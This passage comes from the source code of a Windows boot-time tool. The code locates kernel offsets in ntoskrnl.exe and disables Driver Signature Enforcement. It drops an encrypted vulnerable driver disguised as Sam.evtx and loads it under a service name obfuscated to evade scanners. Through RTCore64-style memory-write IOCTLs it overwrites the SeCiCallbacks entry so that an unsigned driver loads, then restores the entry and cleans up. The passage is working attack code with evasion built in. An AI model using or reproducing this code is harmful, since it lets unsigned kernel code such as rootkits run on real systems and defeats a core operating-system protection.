    if (!NT_SUCCESS(status)) return FALSE;

    FILE_STANDARD_INFORMATION fsi;
    status = NtQueryInformationFile(hFile, &iosb, &fsi, sizeof(fsi), FileStandardInformation);
    if (!NT_SUCCESS(status)) { NtClose(hFile); return FALSE; }

    ctx.Size = (SIZE_T)fsi.EndOfFile.QuadPart;
    PVOID base = NULL;
    SIZE_T regionSize = ctx.Size;
    status = NtAllocateVirtualMemory((HANDLE)-1, &base, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(status)) { NtClose(hFile); return FALSE; }

    ctx.Base = (PUCHAR)base;
    status = NtReadFile(hFile, NULL, NULL, NULL, &iosb, ctx.Base, (ULONG)ctx.Size, NULL, NULL);
    NtClose(hFile);

    if (!NT_SUCCESS(status) || !ParsePe(&ctx)) {
        NtFreeVirtualMemory((HANDLE)-1, &base, &regionSize, MEM_RELEASE);
        return FALSE;
    }

    DisplayMessage(L"INFO: Scanning ntoskrnl.exe (Fast IDA)...\r\n");

    ULONG safeRva = FindExportRva(&ctx, "ZwFlushInstructionCache");
    if (safeRva) {
        config->Offset_SafeFunction = safeRva;
        foundSafe = TRUE;
        ULONGLONGToHexString(safeRva, hexBuf, TRUE);
        DisplayMessage(L"SUCCESS: SafeFunction found at "); DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
    }

    for (ULONG i = 0; i < ctx.SectionCount; i++) {
        ULONG sectionStart;
        ULONG sectionEnd;

        if (!(ctx.Sections[i].Characteristics & SCN_MEM_EXECUTE)) continue;
        sectionStart = ctx.Sections[i].RawPointer;
        sectionEnd = ctx.Sections[i].RawPointer + ctx.Sections[i].RawSize;
        if (sectionEnd > ctx.Size) {
            sectionEnd = (ULONG)ctx.Size;
        }
        if (sectionStart >= sectionEnd || sectionEnd - sectionStart < 10) {
            continue;
        }

        for (ULONG fileOffset = sectionStart; fileOffset + 10 <= sectionEnd; ++fileOffset) {
            RIP_RELATIVE_STORE store;
            RUNTIME_FUNCTION_INFO runtimeInfo;
            BOOLEAN hasRuntimeInfo;
            ULONG searchStart;
            ULONG searchEnd;
            ULONG qwordGap;
            RIP_RELATIVE_STORE qwordStore;

            if (ctx.Base[fileOffset] != 0xC7 || ctx.Base[fileOffset + 1] != 0x05) {
                continue;
            }
            if (fileOffset > 0 &&
                ctx.Base[fileOffset - 1] == 0x48 &&
                ctx.Base[fileOffset] == 0xC7 &&
                ctx.Base[fileOffset + 1] == 0x05) {
                continue;
            }
            if (!ReadRipRelativeStore(&ctx, fileOffset, &store)) {
                continue;
            }
            if (store.IsQword || !IsWritableSectionIndex(&ctx, store.TargetSectionIndex)) {
                continue;
            }
            if (!(store.Imm32 >= 0x40 && store.Imm32 <= 0x4000)) {
                continue;
            }

            hasRuntimeInfo = FindRuntimeFunctionBounds(&ctx, store.Rva, &runtimeInfo);
            if (hasRuntimeInfo) {
                searchStart = runtimeInfo.BeginOffset;
                searchEnd = MinUlong(runtimeInfo.EndOffsetExclusive, store.FileOffset + FAST_FORWARD_WINDOW);
            } else {
                searchStart = store.FileOffset > FAST_BACK_WINDOW ? store.FileOffset - FAST_BACK_WINDOW : 0;
                searchEnd = MinUlong((ULONG)ctx.Size, store.FileOffset + FAST_FORWARD_WINDOW);
            }

            if (!FindNearbyQwordStore(&ctx, store.FileOffset, searchEnd, &qwordGap, &qwordStore)) {
                continue;
            }

            if (store.FileOffset < LEA_LEN || store.FileOffset <= searchStart) {
                continue;
            }

            {
                ULONG leaTargetRva = store.TargetRva + STRUCT_OFFSET;
                ULONG leaFileOffset = store.FileOffset - LEA_LEN;

                for (;;) {
                    if (IsRipRelativeLea(&ctx, leaFileOffset)) {
                        ULONG leaRva;
                        LONG leaSectionIndex;
                        LONG rel32;
                        ULONG leaTarget;

                        if (FileOffsetToRva(&ctx, leaFileOffset, &leaRva, &leaSectionIndex)) {
                            rel32 = ReadLeS32(ctx.Base + leaFileOffset + 3);
                            leaTarget = ComputeRelTargetRva(leaRva, LEA_LEN, rel32);

                            if (leaTarget == leaTargetRva && IsWritableData(&ctx, leaTarget)) {
                                ULONG zeroSize;
                                BOOLEAN hasZeroSize;
                                int zeroScore = ScoreZeroingWindow(ctx.Base, ctx.Size, leaFileOffset, &zeroSize, &hasZeroSize);
                                if (zeroScore >= 2) {
                                    LONG score = 80;
                                    ULONG qwordDelta;
                                    ULONG distancePenalty;

                                    score += zeroScore * 12;
                                    score += 30 - (LONG)(qwordGap < 24 ? qwordGap : 24);

                                    distancePenalty = (store.FileOffset - leaFileOffset) / 32;
                                    if (distancePenalty > 12) {
                                        distancePenalty = 12;
                                    }
                                    score -= (LONG)distancePenalty;

                                    qwordDelta = qwordStore.TargetRva - store.TargetRva;
                                    if (qwordDelta > 0) {
                                        score += 8;
                                    }
                                    if (store.Imm32 == SECI_FLAGS_EXPECTED) {
                                        score += 12;
                                    }
                                    if (hasZeroSize) {
                                        if (qwordStore.TargetRva - leaTarget == zeroSize) {
                                            score += 18;
                                        }
                                        if (store.Imm32 == zeroSize + 12) {
                                            score += 18;
                                        } else if (store.Imm32 == zeroSize + 8 || store.Imm32 == zeroSize + 16) {
                                            score += 6;
                                        }
                                    }
                                    if (qwordDelta == store.Imm32 - 8) {
                                        score += 20;
                                    }

                                    if (score > bestScore) {
                                        bestScore = score;
                                        bestSeCiRva = store.TargetRva;
                                    }
                                }
                            }
                        }
                    }

                    if (leaFileOffset == searchStart) {
                        break;
                    }
                    leaFileOffset--;
                }
            }
        }
    }

    if (bestScore >= FAST_MIN_SCORE) {
        config->Offset_SeCiCallbacks = bestSeCiRva;
        // offsetof(CI_CALLBACKS, pfnCiValidateImageHeader) == 32, stable across
        // all known builds; no need to derive it from the image.
        config->Offset_Callback = 32;
        foundSeci = TRUE;
        ULONGLONGToHexString(bestSeCiRva, hexBuf, TRUE);
        DisplayMessage(L"SUCCESS: SeCiCallbacks found at "); DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
    }

    // Legacy anchor fallback — covers RS1/RS2 where CipInitialize does not call
    // RtlZeroMemory on the callbacks structure, so the structural scan never
    // accumulates enough score.  The flags DWORD (0x108) store is the only
    // pattern that has been consistent across all builds from RS1 onward.
    if (!foundSeci) {
        for (ULONG i = 0; i < ctx.SectionCount; i++) {
            if (!(ctx.Sections[i].Characteristics & SCN_MEM_EXECUTE)) continue;
            ULONG sectionStart = ctx.Sections[i].RawPointer;
            ULONG sectionEnd   = MinUlong(ctx.Sections[i].RawPointer + ctx.Sections[i].RawSize,
                                          (ULONG)ctx.Size);

            for (ULONG off = sectionStart; off + 10 <= sectionEnd; ++off) {
                if (ctx.Base[off] != 0xC7 || ctx.Base[off + 1] != 0x05) continue;
                // Skip the QWORD-prefix form (48 C7 05) — ReadRipRelativeStore
                // handles it, but we only want the plain DWORD store here.
                if (off > 0 && ctx.Base[off - 1] == 0x48) continue;

                RIP_RELATIVE_STORE store;
                if (!ReadRipRelativeStore(&ctx, off, &store)) continue;
                if (store.IsQword) continue;
                if (store.Imm32 != SECI_FLAGS_EXPECTED) continue;
                if (!IsWritableSectionIndex(&ctx, store.TargetSectionIndex)) continue;
                // Reject anything landing in the PE headers.
                if (store.TargetRva < 0x1000) continue;

                config->Offset_SeCiCallbacks = store.TargetRva;
                config->Offset_Callback = 32;
                foundSeci = TRUE;
                ULONGLONGToHexString(store.TargetRva, hexBuf, TRUE);
                DisplayMessage(L"SUCCESS: SeCiCallbacks (legacy anchor) at ");
                DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
                goto legacy_done;
            }
        }
        legacy_done:;
    }

    NtFreeVirtualMemory((HANDLE)-1, &base, &regionSize, MEM_RELEASE);
    
    if (!foundSeci) DisplayMessage(L"WARNING: SeCiCallbacks NOT found!\r\n");
    if (!foundSafe) DisplayMessage(L"WARNING: SafeFunction NOT found!\r\n");

    return (foundSeci && foundSafe);
}

<<<FILE: kvc_smss/OffsetFinder.h>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-27 22:09:26
Size:     0.34 KB
#ifndef OFFSET_FINDER_H
#define OFFSET_FINDER_H

#include "BootBypass.h"

// Scans ntoskrnl.exe on disk to find SeCiCallbacks and other offsets.
// Populates Offset_SeCiCallbacks, Offset_SafeFunction, and Offset_Callback.
// Returns TRUE if at least SeCiCallbacks is found.
BOOLEAN FindKernelOffsetsLocally(PCONFIG_SETTINGS config);

#endif

<<<FILE: kvc_smss/resource.h>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-27 12:18:24
Size:     0.46 KB
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by BootBypass.rc

// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS

#define _APS_NEXT_RESOURCE_VALUE        103
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

// Resource IDs for embedded payloads
#define IDR_DRV1  101
#define IDR_DRV2  102

<<<FILE: kvc_smss/SecurityPatcher.c>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-18 03:34:24
Size:     29.33 KB
// ============================================================================
// SecurityPatcher — DSE bypass via embedded vulnerability driver (BB variant)
//
// ExecuteAutoPatchLoad implements the 5-step bypass:
//   1. Extract kvc.sys from PE resource (XOR decrypt + LZNT1 decompress),
//      write to kvc_Log (\SystemRoot\System32\winevt\Logs\Sam.evtx)
//   2. Load kvc.sys under an obfuscated service name
//   3. Open device, resolve ntoskrnl base, read current SeCiCallbacks slot
//   4. Overwrite slot with SafeFunction (no-op); load the target unsigned driver
//   5. Restore original slot value; unload kvc.sys; Cleanupkvc (file + key)
//
// DSE state is persisted across reboots via [DSE_STATE] in drivers.ini so
// that an interrupted run can recover the original callback on the next boot.
//
// Physical memory I/O uses the RTCore64-compatible RTC_PACKET layout.
// ============================================================================

#include "SecurityPatcher.h"

// Returns the obfuscated driver/device name string from an assembly stub.
// The string is encoded at build time to avoid plaintext scanner detection.
extern PWSTR MmGetPoolDiagnosticString(void);

// ============================================================================
// RTC_PACKET — IOCTL payload for physical memory access via kvc.sys
//
// Layout matches the RTCore64 IOCTL packet format that kvc.sys expects.
// Padding fields must be zeroed; the driver checks them for validity.
//   addr  — physical or virtual address to read/write
//   size  — operation width in bytes (4 for DWORD operations)
//   value — data to write (write path) or data returned by driver (read path)
// ============================================================================
typedef struct _RTC_PACKET {
    UCHAR pad0[8];
    ULONGLONG addr;
    UCHAR pad1[8];
    ULONG size;
    ULONG value;
    UCHAR pad3[16];
} RTC_PACKET;

static BOOLEAN AsciiEqualsLiteralIgnoreCase(const char* left, const char* right) {
    ULONG index = 0;

    if (!left || !right) {
        return FALSE;
    }

    while (left[index] != 0 && right[index] != 0) {
        char a = left[index];
        char b = right[index];
        if (a >= 'a' && a <= 'z') a -= 32;
        if (b >= 'a' && b <= 'z') b -= 32;
        if (a != b) {
            return FALSE;
        }
        index++;
    }

    return left[index] == 0 && right[index] == 0;
}

// ============================================================================
// IOCTL OPERATIONS — Physical memory read/write via kvc.sys
//
// All three functions share the same RTC_PACKET I/O path.
// WriteMemory64 / ReadMemory64 split the 64-bit operation into two 32-bit
// IOCTL calls (low DWORD first, then high DWORD at address+4).
// This matches kvc.sys's 32-bit-at-a-time read/write model.
// ============================================================================

// Write a 32-bit value to the given kernel virtual address.
BOOLEAN WriteMemory32(HANDLE hDriver, ULONGLONG address, ULONG value, ULONG ioctl) {
    RTC_PACKET packet;
    IO_STATUS_BLOCK iosb;

    memset_impl(&packet, 0, sizeof(packet));
    memset_impl(&iosb, 0, sizeof(iosb));

    packet.addr = address;
    packet.size = 4;
    packet.value = value;

    NTSTATUS status = NtDeviceIoControlFile(hDriver, NULL, NULL, NULL, &iosb,
                                           ioctl, &packet, sizeof(packet),
                                           &packet, sizeof(packet));

    return NT_SUCCESS(status);
}

// Write a 64-bit value as two consecutive 32-bit IOCTL operations (low, then high).
// NOTE: Not atomic — a torn write is theoretically possible on SMP.
// In practice the patched SeCiCallbacks slot is only read by the DSE fast path
// which is not racing with us at SMSS boot time.
BOOLEAN WriteMemory64(HANDLE hDriver, ULONGLONG address, ULONGLONG value, ULONG ioctl) {
    if (!WriteMemory32(hDriver, address, (ULONG)(value & 0xFFFFFFFF), ioctl))
        return FALSE;
    if (!WriteMemory32(hDriver, address + 4, (ULONG)((value >> 32) & 0xFFFFFFFF), ioctl))
        return FALSE;
    return TRUE;
}

BOOLEAN ReadMemory64(HANDLE hDriver, ULONGLONG address, ULONGLONG* value, ULONG ioctl) {
    RTC_PACKET packet;
    IO_STATUS_BLOCK iosb;
    ULONG low, high;

    memset_impl(&packet, 0, sizeof(packet));
    memset_impl(&iosb, 0, sizeof(iosb));

    packet.addr = address;
    packet.size = 4;

    NTSTATUS status = NtDeviceIoControlFile(hDriver, NULL, NULL, NULL, &iosb,
                                           ioctl, &packet, sizeof(packet),
                                           &packet, sizeof(packet));

    if (!NT_SUCCESS(status))
        return FALSE;

    low = packet.value;

    memset_impl(&packet, 0, sizeof(packet));
    memset_impl(&iosb, 0, sizeof(iosb));

    packet.addr = address + 4;
    packet.size = 4;

    status = NtDeviceIoControlFile(hDriver, NULL, NULL, NULL, &iosb,
                                  ioctl, &packet, sizeof(packet),
                                  &packet, sizeof(packet));

    if (!NT_SUCCESS(status))
        return FALSE;

    high = packet.value;

    *value = ((ULONGLONG)high << 32) | (ULONGLONG)low;
    return TRUE;
}

// ============================================================================
// NTOSKRNL BASE ADDRESS
// ============================================================================

// Returns the kernel virtual base address of ntoskrnl.exe as reported by
// NtQuerySystemInformation(SystemModuleInformation).  Module[0] is always
// ntoskrnl on a properly booted system, but we search by name for safety.
ULONGLONG GetNtoskrnlBase(void) {
    SYSTEM_MODULE_INFORMATION* moduleInfo = NULL;
    ULONGLONG ntBase = 0;

    if (!QuerySystemModuleInformation(&moduleInfo)) {
        return 0;
    }

    if (moduleInfo->Count == 0) {
        FreeAllocatedBuffer(moduleInfo);
        return 0;
    }

    for (ULONG i = 0; i < moduleInfo->Count; i++) {
        char* imageName = moduleInfo->Modules[i].ImageName + moduleInfo->Modules[i].ModuleNameOffset;
        if (AsciiEqualsLiteralIgnoreCase(imageName, "ntoskrnl.exe")) {
            ntBase = (ULONGLONG)moduleInfo->Modules[i].ImageBase;
            break;
        }
    }

    FreeAllocatedBuffer(moduleInfo);
    return ntBase;
}

// ============================================================================
// DEVICE HANDLE
// ============================================================================

// Opens the kvc.sys device object for IOCTL communication.
// Returns a valid handle on success, NULL if the driver is not loaded or the
// device object does not exist yet.
HANDLE OpenDriverDevice(PCWSTR deviceName) {
    UNICODE_STRING usDeviceName;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hDevice = NULL;

    RtlInitUnicodeString(&usDeviceName, deviceName);
    InitializeObjectAttributes(&oa, &usDeviceName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
                                &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, 0);

    return NT_SUCCESS(status) ? hDevice : NULL;
}

// ============================================================================
// AUTOPATCH LOAD — 5-step DSE bypass and target driver load (BB variant)
//
// Steps:
//   1. ExtractkvcFromResource — XOR+LZNT1 decompress embedded payload to Sam.evtx
//   2. LoadDriver under obfuscated service name
//   3. Resolve ntoskrnl base; compute patchable callback address
//   4. Save original callback to drivers.ini [DSE_STATE]; write SafeFunction
//   5. Load target driver; restore original callback; unload kvc.sys; Cleanupkvc
//
// If the callback slot already contains SafeFunction (previous crash), the
// save/patch step is skipped and the stored originalCallback is used for restore.
// On any error after step 2, kvc.sys is unloaded and Cleanupkvc is called.
// ============================================================================

// entry          — INI_ENTRY for the driver to load under DSE bypass
// config         — global CONFIG_SETTINGS (offsets, device name, IOCTLs)
// originalCallback — in/out: receives the pre-patch callback value on first call;
//                    zeroed on successful restore
NTSTATUS ExecuteAutoPatchLoad(PINI_ENTRY entry, PCONFIG_SETTINGS config, PULONGLONG originalCallback) {
    NTSTATUS status;
    HANDLE hDriver;
    ULONGLONG ntBase, callbackToPatch, safeFunction, currentCallback;
    PWSTR driverName = MmGetPoolDiagnosticString();

    DisplayMessage(L"INFO: Starting AutoPatch sequence for driver: ");
    DisplayMessage(entry->ServiceName);
    DisplayMessage(L"\r\n");

    DEBUG_LOG(L"STEP 1: Loading non-compliant driver...\r\n");

    if (!ExtractkvcFromResource()) {
        DisplayMessage(L"FAILED: Cannot extract non-compliant driver from resource\r\n");
        return STATUS_NO_SUCH_DEVICE;
    }

    status = LoadDriver(driverName, kvc_Log, L"KERNEL", L"SYSTEM");
    if (!NT_SUCCESS(status) && status != STATUS_IMAGE_ALREADY_LOADED) {
        DisplayMessage(L"FAILED: Cannot load non-compliant driver\r\n");
        DisplayStatus(status);
        Cleanupkvc();
        return status;
    }
    DEBUG_LOG(L"SUCCESS: Non-compliant driver loaded\r\n");

    // If DriverDevice ends with "kvc", resolve to the dynamic telemetry device name
    WCHAR resolvedDevicePath[MAX_PATH_LEN];
    PWSTR devicePath = config->DriverDevice;
    {
        SIZE_T nameStart = 0;
        PWSTR p = config->DriverDevice;
        while (*p) {
            if (*p == L'\\') nameStart = (SIZE_T)(p - config->DriverDevice) + 1;
            p++;
        }
        if (config->DriverDevice[nameStart] == L'k' &&
            config->DriverDevice[nameStart + 1] == L'v' &&
            config->DriverDevice[nameStart + 2] == L'c' &&
            config->DriverDevice[nameStart + 3] == L'\0') {
            wcscpy_safe(resolvedDevicePath, MAX_PATH_LEN, L"\\Device\\");
            wcscat_safe(resolvedDevicePath, MAX_PATH_LEN, driverName);
            devicePath = resolvedDevicePath;
            DEBUG_LOG(L"DEBUG: Resolved 'kvc' to telemetry device name\r\n");
        }
    }

    hDriver = OpenDriverDevice(devicePath);
    if (!hDriver) {
        DisplayMessage(L"FAILED: Cannot open driver device\r\n");
        UnloadDriver(driverName);
        Cleanupkvc();
        return STATUS_NO_SUCH_DEVICE;
    }

    ntBase = GetNtoskrnlBase();
    if (ntBase == 0) {
        NtClose(hDriver);
        UnloadDriver(driverName);
        Cleanupkvc();
        DisplayMessage(L"FAILED: Cannot find ntoskrnl\r\n");
        return STATUS_OBJECT_NAME_NOT_FOUND;
    }

    if (config->Offset_SeCiCallbacks == 0 || config->Offset_SafeFunction == 0) {
        NtClose(hDriver);
        UnloadDriver(driverName);
        Cleanupkvc();
        DisplayMessage(L"FAILED: Kernel offsets not found (INI or Scan)\r\n");
        return STATUS_OBJECT_NAME_NOT_FOUND;
    }

    callbackToPatch = ntBase + config->Offset_SeCiCallbacks + config->Offset_Callback;
    safeFunction = ntBase + config->Offset_SafeFunction;

    if (!ReadMemory64(hDriver, callbackToPatch, &currentCallback, config->IoControlCode_Read)) {
        NtClose(hDriver);
        UnloadDriver(driverName);
        Cleanupkvc();
        DisplayMessage(L"FAILED: Cannot read current callback\r\n");
        return STATUS_NO_SUCH_DEVICE;
    }

    if (currentCallback == safeFunction) {
        DEBUG_LOG(L"INFO: DSE already patched\r\n");
    } else {
        *originalCallback = currentCallback;
        SaveStateSection(currentCallback);
        DEBUG_LOG(L"INFO: Original callback saved\r\n");

        DEBUG_LOG(L"STEP 2: Patching DSE...\r\n");
        if (!WriteMemory64(hDriver, callbackToPatch, safeFunction, config->IoControlCode_Write)) {
            NtClose(hDriver);
            DisplayMessage(L"FAILED: DSE patch write failed\r\n");
            return STATUS_NO_SUCH_DEVICE;
        }
        DEBUG_LOG(L"SUCCESS: DSE patched\r\n");
    }

    DEBUG_LOG(L"STEP 3: Loading target driver...\r\n");
    status = LoadDriver(entry->ServiceName, entry->ImagePath, entry->DriverType, entry->StartType);
    if (!NT_SUCCESS(status) && status != STATUS_IMAGE_ALREADY_LOADED) {
        DisplayMessage(L"FAILED: Cannot load target driver");
        DisplayStatus(status);
    } else {
        DEBUG_LOG(L"SUCCESS: Target driver loaded\r\n");
    }

    DEBUG_LOG(L"STEP 4: Restoring DSE...\r\n");
    if (*originalCallback != 0 && *originalCallback != safeFunction) {
        if (!WriteMemory64(hDriver, callbackToPatch, *originalCallback, config->IoControlCode_Write)) {
            DisplayMessage(L"WARNING: DSE restore failed\r\n");
        } else {
            DEBUG_LOG(L"SUCCESS: DSE restored\r\n");
            *originalCallback = 0;
            RemoveStateSection();
        }
    }

    DEBUG_LOG(L"STEP 5: Unloading non-compliant driver...\r\n");
    NtClose(hDriver);
    status = UnloadDriver(driverName);
    if (NT_SUCCESS(status)) {
        DEBUG_LOG(L"SUCCESS: Non-compliant driver unloaded\r\n");
    } else {
        DisplayMessage(L"WARNING: Non-compliant driver unload failed");
        DisplayStatus(status);
    }

    // Cleanupkvc is now in SetupManager
    Cleanupkvc();
    DisplayMessage(L"SUCCESS: AutoPatch sequence completed\r\n");
    return STATUS_SUCCESS;
}

// ============================================================================
// RAW ENCODING-AGNOSTIC SECTION DETECTOR
//
// Scans the raw bytes of STATE_FILE_PATH for the [DSE_STATE] header in either
// UTF-16 LE (native format) or UTF-8 / ANSI (editor-saved variants).
// Used as a fallback when ReadIniFile cannot parse the file encoding.
// ============================================================================

static BOOLEAN FileContainsDseStateRaw(void) {
    UNICODE_STRING usPath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile = NULL;
    NTSTATUS status;
    LARGE_INTEGER offset;
    UCHAR buf[4096];
    BOOLEAN found = FALSE;

    // UTF-16 LE pattern for "[DSE_STATE]" — 22 bytes, no NUL terminator
    static const UCHAR kPatternW[] = {
        '[',0,'D',0,'S',0,'E',0,'_',0,'S',0,'T',0,'A',0,'T',0,'E',0,']',0
    };
    // UTF-8 / ANSI pattern for "[DSE_STATE]" — 11 bytes
    static const UCHAR kPatternA[] = {
        '[','D','S','E','_','S','T','A','T','E',']'
    };
    const ULONG kLenW = sizeof(kPatternW);   // 22
    const ULONG kLenA = sizeof(kPatternA);   // 11
    const ULONG kTail = kLenW - 1;           // max carry-over needed

    RtlInitUnicodeString(&usPath, STATE_FILE_PATH);
    InitializeObjectAttributes(&oa, &usPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenFile(&hFile, FILE_READ_DATA | SYNCHRONIZE, &oa, &iosb,
                        FILE_SHARE_READ | FILE_SHARE_WRITE,
                        FILE_SYNCHRONOUS_IO_NONALERT);
    if (!NT_SUCCESS(status))
        return FALSE;

    offset.QuadPart = 0;

    // carry[] holds the last (kTail) bytes of the previous chunk so that
    // patterns spanning a chunk boundary are not missed.
    UCHAR carry[21];   // kLenW - 1 = 21
    ULONG carryLen = 0;
    memset_impl(carry, 0, sizeof(carry));

    while (!found) {
        status = NtReadFile(hFile, NULL, NULL, NULL, &iosb,
                            buf, sizeof(buf), &offset, NULL);
        if (!NT_SUCCESS(status) || iosb.Information == 0)
            break;

        ULONG bytesRead = (ULONG)iosb.Information;
        offset.QuadPart += bytesRead;

        // Merge carry + current chunk into a single window on the stack.
        UCHAR window[21 + 4096];
        memset_impl(window, 0, sizeof(window));
        memcpy_impl(window, carry, carryLen);
        memcpy_impl(window + carryLen, buf, bytesRead);
        ULONG windowLen = carryLen + bytesRead;

        for (ULONG i = 0; i + kLenW <= windowLen && !found; i++) {
            ULONG j = 0;
            while (j < kLenW && window[i + j] == kPatternW[j]) j++;
            if (j == kLenW) found = TRUE;
        }
        for (ULONG i = 0; i + kLenA <= windowLen && !found; i++) {
            ULONG j = 0;
            while (j < kLenA && window[i + j] == kPatternA[j]) j++;
            if (j == kLenA) found = TRUE;
        }

        // Save tail for the next iteration
        if (windowLen >= kTail) {
            carryLen = kTail;
            memcpy_impl(carry, window + windowLen - kTail, kTail);
        } else {
            carryLen = windowLen;
            memcpy_impl(carry, window, windowLen);
        }
    }

    NtClose(hFile);
    return found;
}

// ============================================================================
// DSE STATE PERSISTENCE
//
// The original SeCiCallbacks slot value is written to drivers.ini [DSE_STATE]
// before the slot is overwritten.  If the system loses power or crashes
// between patch and restore, the next boot's BootManager reads this value
// and restores DSE before executing any INI actions, avoiding a permanently
// disabled DSE state.
//
// File format: UTF-16 LE with BOM; appended to the end of drivers.ini.
// RemoveStateSection strips [DSE_STATE] by rewriting the file without it.
// ============================================================================

// Atomically replaces any existing [DSE_STATE] section and appends a new one
// containing the given callback value as a 0x-prefixed hex string.
// Called immediately before the DSE patch write; must not fail silently.
//
// Idempotency guard: if the exact same callback value is already present in
// [DSE_STATE], the function returns immediately without touching the file.
// This prevents duplicate sections accumulating across reboots or retries,
// regardless of the file encoding (UTF-16 LE BOM is the authoritative format;
// a file saved as UTF-8 by an external editor will cause ReadIniFile to fail
// gracefully and fall through to a clean re-write below).
BOOLEAN SaveStateSection(ULONGLONG callback) {
    // --- Idempotency guard (encoding-agnostic) ---
    ULONGLONG existing = 0;
    if (LoadStateSection(&existing) && existing == callback) {
        DEBUG_LOG(L"INFO: DSE state already present with matching value, skipping write\r\n");
        return TRUE;
    }
    if (existing == 0 && FileContainsDseStateRaw()) {
        DEBUG_LOG(L"INFO: [DSE_STATE] found via raw scan (non-UTF-16 file?), skipping duplicate write\r\n");
        return TRUE;
    }
    // --- End idempotency guard ---

    RemoveStateSection();  // ensure at most one [DSE_STATE] section exists

    // -----------------------------------------------------------------------
    // Detect file encoding by reading the first 2 bytes (BOM check).
    // UTF-16 LE BOM = 0xFF 0xFE  → write wide chars (native format)
    // Anything else (UTF-8, ANSI) → write narrow UTF-8 bytes
    // This prevents mixed-encoding files when the INI was saved by an editor
    // as UTF-8.
    // -----------------------------------------------------------------------
    BOOLEAN isUtf16 = FALSE;
    {
        UNICODE_STRING usBom;
        OBJECT_ATTRIBUTES oaBom;
        IO_STATUS_BLOCK iosbBom;
        HANDLE hBom = NULL;
        UCHAR bomBytes[2] = { 0, 0 };
        LARGE_INTEGER bomOffset;
        bomOffset.QuadPart = 0;

        RtlInitUnicodeString(&usBom, STATE_FILE_PATH);
        InitializeObjectAttributes(&oaBom, &usBom, OBJ_CASE_INSENSITIVE, NULL, NULL);
        if (NT_SUCCESS(NtOpenFile(&hBom, FILE_READ_DATA | SYNCHRONIZE, &oaBom, &iosbBom,
                                  FILE_SHARE_READ | FILE_SHARE_WRITE,
                                  FILE_SYNCHRONOUS_IO_NONALERT))) {
            NtReadFile(hBom, NULL, NULL, NULL, &iosbBom,
                       bomBytes, 2, &bomOffset, NULL);
            NtClose(hBom);
        }
        isUtf16 = (bomBytes[0] == 0xFF && bomBytes[1] == 0xFE);
    }

    UNICODE_STRING usFilePath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile;
    NTSTATUS status;
    LARGE_INTEGER byteOffset;

    RtlInitUnicodeString(&usFilePath, STATE_FILE_PATH);
    InitializeObjectAttributes(&oa, &usFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenFile(&hFile, FILE_WRITE_DATA | SYNCHRONIZE, &oa, &iosb,
                        FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

    if (!NT_SUCCESS(status)) {
        // File does not exist yet — create it with UTF-16 LE BOM
        status = NtCreateFile(&hFile, FILE_WRITE_DATA | SYNCHRONIZE, &oa, &iosb,
                              NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_CREATE,
                              FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
        if (!NT_SUCCESS(status))
            return FALSE;

        WCHAR bom = 0xFEFF;
        byteOffset.QuadPart = 0;
        NtWriteFile(hFile, NULL, NULL, NULL, &iosb, &bom, sizeof(WCHAR), &byteOffset, NULL);
        isUtf16 = TRUE;
    }

    // Query current file size to append at EOF
    FILE_STANDARD_INFORMATION fileInfo;
    memset_impl(&fileInfo, 0, sizeof(fileInfo));
    status = NtQueryInformationFile(hFile, &iosb, &fileInfo,
                                    sizeof(FILE_STANDARD_INFORMATION),
                                    FileStandardInformation);
    if (!NT_SUCCESS(status)) {
        NtClose(hFile);
        return FALSE;
    }
    byteOffset.QuadPart = fileInfo.EndOfFile.QuadPart;

    WCHAR hexValue[32];
    ULONGLONGToHexString(callback, hexValue, TRUE);

    if (isUtf16) {
        // --- UTF-16 LE write (native) ---
        WCHAR content[512];
        SIZE_T len = wcscpy_safe(content, 512, L"\r\n[DSE_STATE]\r\nOriginalCallback=");
        len = wcscat_safe(content, 512, hexValue);
        len = wcscat_safe(content, 512, L"\r\n");
        if (len >= 512) { NtClose(hFile); return FALSE; }

        status = NtWriteFile(hFile, NULL, NULL, NULL, &iosb, content,
                             (ULONG)(wcslen(content) * sizeof(WCHAR)),
                             &byteOffset, NULL);
    } else {
        // --- UTF-8 / ANSI write ---
        // Build narrow string manually (all chars are ASCII-safe)
        char content[512];
        char hexNarrow[32];
        ULONG hi = 0;

        // Convert WCHAR hex string to narrow chars
        while (hexValue[hi] && hi < 31) {
            hexNarrow[hi] = (char)hexValue[hi];
            hi++;
        }
        hexNarrow[hi] = '\0';

        // Concatenate: "\r\n[DSE_STATE]\r\nOriginalCallback=<hex>\r\n"
        const char* prefix = "\r\n[DSE_STATE]\r\nOriginalCallback=";
        ULONG pi = 0, ci = 0;
        while (prefix[pi] && ci < 511) content[ci++] = prefix[pi++];
        pi = 0;
        while (hexNarrow[pi] && ci < 511) content[ci++] = hexNarrow[pi++];
        content[ci++] = '\r'; content[ci++] = '\n'; content[ci] = '\0';

        status = NtWriteFile(hFile, NULL, NULL, NULL, &iosb, content,
                             ci, &byteOffset, NULL);
    }

    NtClose(hFile);

    if (NT_SUCCESS(status)) {
        DEBUG_LOG(L"INFO: DSE state saved to drivers.ini\r\n");
        return TRUE;
    }

    return FALSE;
